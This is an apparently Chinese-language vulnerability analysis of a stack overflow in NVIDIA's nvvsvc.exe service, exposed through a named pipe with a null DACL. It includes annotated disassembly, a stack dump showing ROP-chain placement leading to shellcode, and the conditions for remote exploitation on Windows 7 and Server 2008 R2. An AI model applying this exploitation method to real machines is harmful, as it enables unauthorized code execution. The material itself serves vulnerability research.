 .text:0000000000003D2B                     ; sub_3B18+198j
 .text:0000000000003D2B         mov     edi, 52h
 .text:0000000000003D30         jmp     loc_4017
 ......

 .text:0000000000004017 loc_4017:               ; CODE XREF: sub_3B18+218j
 .text:0000000000004017                       ; sub_3B18+435j ...
 .text:0000000000004017         mov     ebx, [rsp+28h+nNumberOfBytesToWrite] ; ebx=4078
 .text:000000000000401B         lea     r9, [rsp+28h+NumberOfBytesWritten] ; lpNumberOfBytesWritten  [lp]=4078
 .text:0000000000004020         lea     rdx, [rbp+4180h] ; lpBuffer
 .text:0000000000004027         mov     rcx, rsi     ; hFile
 .text:000000000000402A         mov     r8d, ebx     ; nNumberOfBytesToWrite  4078个字节  每次写入没有限制也没有任何检测
 .text:000000000000402D         mov     [rsp+28h+var_8], r14
 .text:0000000000004032         call    cs:WriteFile    ; 将4078个字节的数据写入管道中,导致内存泄漏
 .text:0000000000004038         test    eax, eax     ; 判断是否调用成功
 .text:000000000000403A         jz      short loc_406F
 .text:000000000000403C         cmp     ebx, [rsp+28h+NumberOfBytesWritten] ; 判断是否写入的是4078个字节
 .text:0000000000004040         jnz     short loc_406F
 .text:0000000000004042         lea     r9, [rsp+28h+NumberOfBytesRead] ; lpnNumberOfBytesToRead ---step 5  [lp]=4020h
 .text:0000000000004047         lea     rdx, [rbp+160h] ; lpBuffer
 .text:000000000000404E         mov     r8d, 4020h      ; nNumberOfBytesToRead  4020h 每次固定读入4020h个字节
 .text:0000000000004054         mov     rcx, rsi     ; hFile
 .text:0000000000004057         mov     [rsp+28h+var_8], r14
 .text:000000000000405C         call    cs:ReadFile     ;将攻击者CLIENT发送的数据从管道读入缓冲区
 .text:0000000000004062         mov     ebx, 2000h
 .text:0000000000004067         test    eax, eax
 .text:0000000000004069         jnz     loc_3B9C        ; 如果读到数据则跳回前边做循环处理

攻击者发送完三次数据,nvvsvc服务最后一次从管道中读取数据失败,然后去执行关闭管道句柄过程,如下:

 .text:000000000000406F
 .text:000000000000406F loc_406F:                ; CODE XREF: sub_3B18+71j
 .text:000000000000406F                     ; sub_3B18+89j ...
 .text:000000000000406F         mov     rcx, rsi     ; hFile
 .text:0000000000004072         call    cs:FlushFileBuffers
 .text:0000000000004078         mov     rcx, rsi     ; hNamedPipe
 .text:000000000000407B         call    cs:DisconnectNamedPipe
 .text:0000000000004081         mov     rcx, rsi     ; hObject
 .text:0000000000004084         call    cs:CloseHandle
 .text:000000000000408A         lock dec cs:dword_D091C
 .text:0000000000004091         mov     eax, 1
 .text:0000000000004096         mov     rcx, [rbp+81A0h]
 .text:000000000000409D            xor     rcx, rsp
 .text:00000000000040A0         call    sub_455A0
 .text:00000000000040A5         lea     r11, [rsp+28h+arg_8280]
 ;恢复堆栈指针rsp, lea r11,[rsp+82b0],通过最后一步写入数据的精心布局,rsp最终将指向攻击者精心构造的数据。
 .text:00000000000040AD            mov     rbx, [r11+38h]
 .text:00000000000040B1         mov     rsi, [r11+40h]
 .text:00000000000040B5         mov     rdi, [r11+48h]
 .text:00000000000040B9         mov     rsp, r11     ; 得到rsp的控制权,此时堆栈数据如下:

 00000000`01b7fb00 43 43 43 43 43 43 43 43  CCCCCCCC
 00000000`01b7fb08 43 43 43 43 43 43 43 43  CCCCCCCC
 00000000`01b7fb10 43 43 43 43 43 43 43 43  CCCCCCCC
 00000000`01b7fb18 43 43 43 43 43 43 43 43  CCCCCCCC
 00000000`01b7fb20 43 43 43 43 43 43 43 43  CCCCCCCC
 00000000`01b7fb28 6e 5f 31 3f 01 00 00 00  n_1?....   //rop链
 00000000`01b7fb30 9c 4f 35 3f 01 00 00 00  .O5?....
 00000000`01b7fb38 00 00 00 00 00 00 00 00  ........

 .text:00000000000040BC         pop     r15
 .text:00000000000040BE         pop     r14
 .text:00000000000040C0         pop     r13
 .text:00000000000040C2         pop     r12
 .text:00000000000040C4         pop     rbp
 .text:00000000000040C5         retn
 ;  经过五次pop过后rsp指向ROP链第一条语句,retn之后开始执行ROP链,最后成功跳进shellcode.
 .text:00000000000040C5 sub_3B18     endp
 .text:00000000000040C5

远程利用条件

  • 本机(作为攻击的计算机)必须有账户名和密码,并且密码不能为空,目标机器密码可为空。
  • 本机与被攻击计算机必须在同一网段
  • 关闭防火墙
  • 被攻击的目标计算机必须关闭密码保护共享(本机可不关闭),如下图所示:
  • 如果攻击目标机器为Win2008 R2 x64系统,则本机(作为攻击计算机)的用户名中不能与目标机器具有相同的用户名。比如本机用户为test,而目标机器(Win2008中)的账户中也有个名为test的账户,则攻击不成功。对于攻击系统为Win7 x64的计算机则没有要求。

Win7 x64和Win2008 R2 x64均测试成功!

总结

经过多次试验,关键的地方就是c:\windows\system32\nvvsvc.exe这个程序,可以将这个程序拷贝到其他计算机中相同的目录下,不论是否装有N卡驱动,然后重启查看进程,确定该驱动服务后台加载了,就可以得到相同的测试结果。也就是说nvvsvc.exe这个驱动服务在启动的时候创建了一个名字为nvsr的管道,这个管道的dacl是空,也就是说everyone都可以访问。这就是该漏洞利用是否成功的关键。

这个漏洞要做到通用,还需要收集各种显卡的驱动程序,其实也仅仅需要收集c:\windows\system32\nvvsvc.exe这个程序,而且实际构造测试发现,有些相近版本的驱动(比如gt520m的8.17.12.8590和gt630m的8.17.12.8580)也是可以通用的。目前已经收集到10个,相应的ROP链也已经构造完成,并测试能够正确执行。

最后关于这个漏洞的分析,刚开始一直对这个nvvsvc.exe下断点断下来,后来原因也找到了,在进程中显示所有用户进程会发现两个nvvsvc.exe服务进程,一个可以断到,一个断不到,所以两个都需要下断点才可以。调试发现给最先加载的那个服务进程下断点就可以了。对于这个漏洞还有需要研究的地方,比如除了0x52操作,其他几个操作完成了什么样的功能,是否有可利用之处,需要有时间再跟踪调试一下。

参考

NVIDIA Driver Helper Service栈溢出简单说明
Nvvsvc32.exe 溢出简要分析

Android Root Zap Framework

‎ 1. Warning 请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途! 道路千万条, 安全第一条, 行车不规范, 亲人两行泪. 2. Android Root Zap Frame...